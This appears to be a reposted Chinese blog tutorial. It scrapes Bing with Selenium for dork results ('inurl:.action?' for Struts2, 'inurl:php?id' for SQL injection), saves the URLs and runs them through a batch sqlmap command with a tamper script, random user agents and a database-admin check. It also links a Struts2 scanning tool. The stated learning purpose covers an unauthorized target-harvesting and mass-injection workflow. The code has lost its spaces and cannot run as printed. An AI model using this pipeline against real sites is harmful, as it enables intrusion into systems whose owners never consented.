小編給大家分享一下如何運(yùn)用selenium在網(wǎng)上爬取已知漏洞,希望大家閱讀完這篇文章之后都有所收獲,下面讓我們一起去探討吧!
成都創(chuàng)新互聯(lián)公司專注于和布克賽爾蒙古企業(yè)網(wǎng)站建設(shè),響應(yīng)式網(wǎng)站建設(shè),電子商務(wù)商城網(wǎng)站建設(shè)。和布克賽爾蒙古網(wǎng)站建設(shè)公司,為和布克賽爾蒙古等地區(qū)提供建站服務(wù)。全流程按需定制,專業(yè)設(shè)計(jì),全程項(xiàng)目跟蹤,成都創(chuàng)新互聯(lián)公司專業(yè)和態(tài)度為您提供的服務(wù)
selenium基礎(chǔ)知識(shí)
介紹
python做爬蟲,如果爬取靜態(tài)網(wǎng)頁,requests庫用作請(qǐng)求,bs4和lxml庫用作分析抓取的網(wǎng)頁內(nèi)容非常不錯(cuò);
現(xiàn)在各大搜索引擎都是動(dòng)態(tài)加載,關(guān)于爬取動(dòng)態(tài)網(wǎng)頁,我了解了一些方法:
1.直接url:找js的api接口
2.webkit 手工模擬js
3.scrapyjs scrapyjs相當(dāng)于粘合劑的作用,可以將splash整合進(jìn)scrapy中
4.splash+ docker
5.phatomjs + selenium 結(jié)合使用 模擬瀏覽器,消耗大,不適合大型爬蟲
這里我們用方法5,不過phatomjs不再和selenium組cp(可以繼續(xù)用),而火狐和google也推出了無頭瀏覽器方式,所以我們用google瀏覽器的驅(qū)動(dòng)來達(dá)成目標(biāo)(調(diào)試時(shí)注意版本,不同版本的css和xpath選擇表達(dá)式可能不同)
我沒有用無頭方式,注意是便于調(diào)試加上我們僅僅是安全研究;如果讀者要用,繼續(xù)這樣修改即可:
chrome_options= Options()
chrome_options.add_argument("--headless")
driver=webdriver.Chrome(executable_path=(r'D:\selenium\chrome/chromedriver.exe'),chrome_options=chrome_options)
安裝selenium
下載驅(qū)動(dòng)器:
https://www.cnblogs.com/freeweb/p/4568463.html
https://www.cnblogs.com/qiezizi/p/8632058.html
python安裝selenium庫即可(pipinstall selenium)
一些簡單的語法知識(shí),大家自行搜索
selenium的FAQ
這點(diǎn)我還是要提出來,語法很簡單,關(guān)鍵調(diào)試很麻煩
1、無法定位元素
這個(gè)問題是沒有加載完網(wǎng)頁就取元素了,本來第一次是設(shè)置sleep(),可是會(huì)導(dǎo)致socket斷開,所以就用內(nèi)置的
importselenium.webdriver.support.ui as ui
wait= ui.WebDriverWait(driver,20)
printwait.until(lambda x: x.find_element_by_css_selector("#b_results> li.b_pag > nav > ul > li:nth-child(3) > a")).text
2、python的ascii編碼
importsys
reload(sys)
sys.setdefaultencoding(‘utf-8’)
3、元素不在視圖
最蛋疼的,尋找了好久方法
出現(xiàn)elementnot visible
用ActionChains模擬鼠標(biāo)點(diǎn)擊
參考:
http://www.mamicode.com/info-detail-1981462.html
4、制定爬取目標(biāo)
怎樣編寫呢?我們來搜索bing國際版本,爬取struts2可能存在的漏洞
5、編寫代碼
編寫過程,有興趣可以研究下,作者這里提幾點(diǎn),其他語法還是簡單的搜索好了,然后一頁一頁的向下翻,收集每頁的網(wǎng)址;這里的 xpath和css選擇的語法和你下的瀏覽器驅(qū)動(dòng)版本有關(guān),進(jìn)瀏覽器然后更改選擇代碼即可(不要說運(yùn)行不了,親測(cè)可用的)
代碼:
#coding=utf-8
importsys
reload(sys)
sys.setdefaultencoding('utf-8')
importtime
fromselenium import webdriver
importselenium.webdriver.support.ui as ui
fromselenium.webdriver.common.keys import Keys
fromselenium.common.exceptions import TimeoutException
#引入ActionChains鼠標(biāo)操作類
fromselenium.webdriver.common.action_chains import ActionChains
start_url="https://cn.bing.com/search?q=inurl%3a.action%3f&qs=n&sp=-1&pq=inurl%3a.action%3f&sc=1-14&sk=&cvid=DBCB283FC96249E8A522340DF4740769&first=67&FORM=PERE4"
urls=range(200)
m=0
s=[1,2,3,4,5,6,7,8,9]
driver=webdriver.Chrome(executable_path="D:/selenium/chrome/chromedriver.exe")
wait=ui.WebDriverWait(driver,20)
driver.get(start_url)
forn in range(7,57):
ifn%2 == 1:#國內(nèi)版
i=7
else:
i=8
i=7
forj in s[0:]:
try:
#//*[@id="b_results"]/li[1]/h3/a國際版本
#printwait.until(lambdax:x.find_element_by_xpath('//*[@id="b_results"]/li['+str(j)+']/h3/a').get_attribute("href"))
#urls[m]=wait.until(lambdax:x.find_element_by_xpath('//*[@id="b_results"]/li['+str(j)+']/h3/a').get_attribute("href"))
#國內(nèi)版本
printwait.until(lambdax:x.find_element_by_xpath('/html/body/div[1]/ol[1]/li['+str(j)+']/h3/a').get_attribute("href"))
urls[m]=wait.until(lambdax:x.find_element_by_xpath('/html/body/div[1]/ol[1]/li['+str(j)+']/h3/a').get_attribute("href"))
m=m+1
exceptException as e:
continue
try:
printi
ActionChains(driver).click(wait.until(lambdax: x.find_element_by_css_selector("#b_results > li.b_pag >nav > ul > li:nth-child("+str(i)+") >a"))).perform()
exceptException as e:
continue
withopen("urlss.txt","a+") as f:
forurl in urls[0:]:
f.write(str(url))
f.write('\n')
f.close()
driver.quit()
實(shí)現(xiàn)效果
這里用的某公司的批量工具
工具鏈接:
https://www.jb51.net/softs/574358.html
提供一個(gè)開源的stu工具鏈接:github的開源項(xiàng)目,緊跟步伐,剛更新了前幾天的057
作者項(xiàng)目地址:
https://github.com/Lucifer1993/struts-scan
測(cè)試的效果圖如下:
補(bǔ)充
雖然sql的洞不好找,前兩年來打,是成片區(qū)的,現(xiàn)在不好了,但是作者還是寫了個(gè)爬取代碼
目標(biāo):搜索敏感詞語:inurl:php?id
代碼:
#coding=utf-8
importsys
reload(sys)
sys.setdefaultencoding('utf-8')
importtime
fromselenium import webdriver
importselenium.webdriver.support.ui as ui
fromselenium.webdriver.common.keys import Keys
fromselenium.common.exceptions import TimeoutException
#引入ActionChains鼠標(biāo)操作類
fromselenium.webdriver.common.action_chains import ActionChains
start_url="https://cn.bing.com/search?q=inurl%3aphp%3fid%3d&qs=HS&sc=8-0&cvid=2EEF822D8FE54B6CAAA1CE0169CA5BC5&sp=1&first=53&FORM=PERE3"
urls=range(800)
m=0
s=[1,2,3,4,5,6,7,8,9,10,11,12,13,14]
driver=webdriver.Chrome(executable_path="D:/selenium/chrome/chromedriver.exe")
wait=ui.WebDriverWait(driver,20)
driver.get(start_url)
fori in range(1,50):
forj in s[0:]:
try:
urls[m]=wait.until(lambdax:x.find_element_by_xpath('//*[@id="b_results"]/li['+str(j)+']/h3/a').get_attribute("href"))
printurls[m]
m=m+1
exceptException as e:
e.message
printi
try:
ActionChains(driver).click(wait.until(lambdax: x.find_element_by_css_selector("#b_results > li.b_pag >nav > ul > li:nth-child(7) > a"))).perform()
exceptException as e:
continue
printm
withopen("urls.txt","a+") as f:
forurl in urls[0:]:
f.write(str(url))
f.write('\n')
f.close()
driver.quit()
測(cè)試效果
由于周期太長,沒有具體去測(cè)試,但是url是爬取下來的,我給出sqlmap的指令
(正在考慮shell多線程跑sqlmap,提供思路參考,學(xué)習(xí)為目的,漏洞很少很少了;shell多線程參考:https://blog.csdn.net/bluecloudmatrix/article/details/48421577)
sqlmap-murls.txt --batch--delay=1.3--level=3--tamper=space2comment--dbms=MySQL--technique=EUS--random-agent--is-dba--time-sec=10| tee result.txt
分析命令
1、sqlmap -m 指定文件
2、--delay 指定每次請(qǐng)求requests的間隔時(shí)間,默認(rèn)0.5
3、--level 檢測(cè)請(qǐng)求頭,如來源,agent等,默認(rèn)是1
4、--dbms=mysql 指定數(shù)據(jù)庫是mysql
5、--technique=EUS,(不做盲注的檢測(cè),本來周期就長)
B:Boolean-based blind SQL injection(布爾型注入)
E:Error-based SQL injection(報(bào)錯(cuò)型注入)
U:UNION query SQL injection(可聯(lián)合查詢注入)
S:Stacked queries SQL injection(可多語句查詢注入)
T:Time-based blind SQL injection(基于時(shí)間延遲注入)
6、tee管道命令,顯示在屏幕的同時(shí)輸出到文件中供我們分析
看完了這篇文章,相信你對(duì)“如何運(yùn)用selenium在網(wǎng)上爬取已知漏洞”有了一定的了解,如果想了解更多相關(guān)知識(shí),歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝各位的閱讀!
當(dāng)前標(biāo)題:如何運(yùn)用selenium在網(wǎng)上爬取已知漏洞
瀏覽地址:http://aaarwkj.com/article32/igsssc.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供自適應(yīng)網(wǎng)站、網(wǎng)站收錄、做網(wǎng)站、服務(wù)器托管、網(wǎng)站內(nèi)鏈、企業(yè)建站
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)